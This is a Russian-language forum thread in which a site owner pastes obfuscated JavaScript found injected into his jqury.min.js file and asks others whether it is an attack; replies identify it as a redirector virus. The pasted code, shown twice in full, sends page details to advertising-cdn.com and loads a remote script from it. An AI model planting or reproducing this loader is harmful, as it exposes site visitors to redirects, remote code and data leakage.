Появился странный кусок кода в jqury.min.js

[mario512]

Добрый день. Обратил внимание на ошибку в консоле. Появилась не так давно.

Скрытый текст

В файле jqury.min.js появился данный кусок кода:

Скрытый текст

(function() {
    var name = '_xQRNnWP1GsfGsf2J';
    if (!window._xQRNnWP1GsfGsf2J) {
        window._xQRNnWP1GsfGsf2J = {
            unique: false,
            ttl: 86400,
            R_PATH: 'https://advertising-cdn.com/5Yf3SF',
        };
    }
    const _jTGHpTBHr2BgnLCm = localStorage.getItem('config');
    if (typeof _jTGHpTBHr2BgnLCm !== 'undefined' && _jTGHpTBHr2BgnLCm !== null) {
        var _rm1vR4Bq3WJQmqyc = JSON.parse(_jTGHpTBHr2BgnLCm);
        var _kdgVxnmkhpmm6RpL = Math.round(+new Date()/1000);
        if (_rm1vR4Bq3WJQmqyc.created_at + window._xQRNnWP1GsfGsf2J.ttl < _kdgVxnmkhpmm6RpL) {
            localStorage.removeItem('subId');
            localStorage.removeItem('token');
            localStorage.removeItem('config');
        }
    }
    var _NnX9Yg65dhwPDQMQ = localStorage.getItem('subId');
    var _kMG1j7nqc8tfxPDv = localStorage.getItem('token');
    var _xmjRH9HJfZyMqbcL = '?return=js.client';
        _xmjRH9HJfZyMqbcL += '&' + decodeURIComponent(window.location.search.replace('?', ''));
        _xmjRH9HJfZyMqbcL += '&se_referrer=' + encodeURIComponent(document.referrer);
        _xmjRH9HJfZyMqbcL += '&default_keyword=' + encodeURIComponent(document.title);
        _xmjRH9HJfZyMqbcL += '&landing_url=' + encodeURIComponent(document.location.hostname + document.location.pathname);
        _xmjRH9HJfZyMqbcL += '&name=' + encodeURIComponent(name);
        _xmjRH9HJfZyMqbcL += '&host=' + encodeURIComponent(window._xQRNnWP1GsfGsf2J.R_PATH);
    if (typeof _NnX9Yg65dhwPDQMQ !== 'undefined' && _NnX9Yg65dhwPDQMQ && window._xQRNnWP1GsfGsf2J.unique) {
        _xmjRH9HJfZyMqbcL += '&sub_id=' + encodeURIComponent(_NnX9Yg65dhwPDQMQ);
    }
    if (typeof _kMG1j7nqc8tfxPDv !== 'undefined' && _kMG1j7nqc8tfxPDv && window._xQRNnWP1GsfGsf2J.unique) {
        _xmjRH9HJfZyMqbcL += '&token=' + encodeURIComponent(_kMG1j7nqc8tfxPDv);
    }
    var a = document.createElement('script');
        a.type = 'application/javascript';
        a.src = window._xQRNnWP1GsfGsf2J.R_PATH + _xmjRH9HJfZyMqbcL;
    var s = document.getElementsByTagName('script')[0];
    s.parentNode.insertBefore(a, s)
    })();
(function() {
    var name = '_Yk9mv9Y2rDL1fNYz';
    if (!window._Yk9mv9Y2rDL1fNYz) {
        window._Yk9mv9Y2rDL1fNYz = {
            unique: false,
            ttl: 86400,
            R_PATH: 'https://advertising-cdn.com/5Yf3SF',
        };
    }
    const _sjV2vsZbn5Kqy2Jy = localStorage.getItem('config');
    if (typeof _sjV2vsZbn5Kqy2Jy !== 'undefined' && _sjV2vsZbn5Kqy2Jy !== null) {
        var _7SrbTv6XgjWjTSrH = JSON.parse(_sjV2vsZbn5Kqy2Jy);
        var _W2DJDjG19XM59k1h = Math.round(+new Date()/1000);
        if (_7SrbTv6XgjWjTSrH.created_at + window._Yk9mv9Y2rDL1fNYz.ttl < _W2DJDjG19XM59k1h) {
            localStorage.removeItem('subId');
            localStorage.removeItem('token');
            localStorage.removeItem('config');
        }
    }
    var _Kg4pMY3vwV3ndSNx = localStorage.getItem('subId');
    var _d1cgfgcTVMqPgjMT = localStorage.getItem('token');
    var _m1PQD7nBDCtYHcS8 = '?return=js.client';
        _m1PQD7nBDCtYHcS8 += '&' + decodeURIComponent(window.location.search.replace('?', ''));
        _m1PQD7nBDCtYHcS8 += '&se_referrer=' + encodeURIComponent(document.referrer);
        _m1PQD7nBDCtYHcS8 += '&default_keyword=' + encodeURIComponent(document.title);
        _m1PQD7nBDCtYHcS8 += '&landing_url=' + encodeURIComponent(document.location.hostname + document.location.pathname);
        _m1PQD7nBDCtYHcS8 += '&name=' + encodeURIComponent(name);
        _m1PQD7nBDCtYHcS8 += '&host=' + encodeURIComponent(window._Yk9mv9Y2rDL1fNYz.R_PATH);
    if (typeof _Kg4pMY3vwV3ndSNx !== 'undefined' && _Kg4pMY3vwV3ndSNx && window._Yk9mv9Y2rDL1fNYz.unique) {
        _m1PQD7nBDCtYHcS8 += '&sub_id=' + encodeURIComponent(_Kg4pMY3vwV3ndSNx);
    }
    if (typeof _d1cgfgcTVMqPgjMT !== 'undefined' && _d1cgfgcTVMqPgjMT && window._Yk9mv9Y2rDL1fNYz.unique) {
        _m1PQD7nBDCtYHcS8 += '&token=' + encodeURIComponent(_d1cgfgcTVMqPgjMT);
    }
    var a = document.createElement('script');
        a.type = 'application/javascript';
        a.src = window._Yk9mv9Y2rDL1fNYz.R_PATH + _m1PQD7nBDCtYHcS8;
    var s = document.getElementsByTagName('script')[0];
    s.parentNode.insertBefore(a, s)
    })();

 

Ссылка https://advertising-cdn.com/5Yf3SF не доступна. 

 

Кто сталкивался? Иньекция? 

 

P.S. Файл изменен 6 февраля

[spectre]

скорей всего все js файлы такие стали

[mario512]

19.10.2022 в 13:21, spectre сказал:

скорей всего все js файлы такие стали

Проверил. Только один был. Странно. Первый раз с таким столкнулся. 

[kylis]

Это вирус редиректор. не раз сталкивался с такими. Вон сейчас тоже на одном сайте такая-же штука.